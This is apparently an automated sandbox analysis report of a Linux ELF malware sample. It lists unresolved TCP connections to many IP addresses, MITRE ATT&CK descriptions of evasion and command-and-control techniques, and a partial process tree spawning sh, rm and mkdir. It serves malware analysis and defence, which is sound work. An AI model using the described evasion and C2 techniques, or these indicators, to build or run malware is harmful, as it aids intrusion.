Source: unknown	TCP traffic detected without corresponding DNS query: 197.69.83.10
Source: unknown	TCP traffic detected without corresponding DNS query: 157.52.82.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.111.125.109
Source: unknown	TCP traffic detected without corresponding DNS query: 157.36.69.160
Source: unknown	TCP traffic detected without corresponding DNS query: 41.194.32.238
Source: unknown	TCP traffic detected without corresponding DNS query: 157.71.101.4
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.151.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.189.151
Source: unknown	TCP traffic detected without corresponding DNS query: 157.151.1.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.172.233.159
Source: unknown	TCP traffic detected without corresponding DNS query: 41.68.44.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.242.11.22
Source: unknown	TCP traffic detected without corresponding DNS query: 41.92.175.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.161.28
Source: unknown	TCP traffic detected without corresponding DNS query: 41.162.203.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.17.238.254
Source: unknown	TCP traffic detected without corresponding DNS query: 119.217.217.108
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.159.147
Source: unknown	TCP traffic detected without corresponding DNS query: 41.175.242.43
Source: unknown	TCP traffic detected without corresponding DNS query: 81.156.112.66
Source: unknown	TCP traffic detected without corresponding DNS query: 156.226.150.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.9.77
Source: unknown	TCP traffic detected without corresponding DNS query: 157.63.239.92
Source: unknown	TCP traffic detected without corresponding DNS query: 157.73.220.255
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.250.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.19.153.65
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.191.52
Source: unknown	TCP traffic detected without corresponding DNS query: 118.209.250.0

Source: QHyplBDoPc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: QHyplBDoPc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report QHyplBDoPc.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: QHyplBDoPc.elf PID: 6228, Parent PID: 6124

General

Chronological Activities

Analysis Process: QHyplBDoPc.elf PID: 6230, Parent PID: 6228

General

Chronological Activities

Analysis Process: sh PID: 6230, Parent PID: 6228

General

Chronological Activities

Analysis Process: sh PID: 6232, Parent PID: 6230

General

Chronological Activities

Analysis Process: rm PID: 6232, Parent PID: 6230

General

Chronological Activities

Analysis Process: sh PID: 6233, Parent PID: 6230

General

Chronological Activities

Analysis Process: mkdir PID: 6233, Parent PID: 6230

General

Linux Analysis Report
QHyplBDoPc.elf